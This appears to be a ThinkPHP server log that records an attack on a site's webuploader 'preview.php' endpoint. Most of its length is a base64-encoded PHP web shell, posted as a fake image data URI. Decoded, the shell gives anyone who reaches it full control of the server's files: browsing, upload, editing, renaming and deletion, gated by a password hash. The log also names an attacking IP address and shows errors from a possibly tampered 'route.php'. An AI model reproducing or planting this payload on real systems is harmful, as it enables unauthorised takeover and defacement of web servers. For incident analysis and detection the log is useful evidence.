AgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:48+08:00 ] 119.42.146.234 POST 51tianwei.com/web/dist/static/webuploader/0.1.15/server/preview.php [运行时间:0.002810s] [吞吐率:355.87req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'dist', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_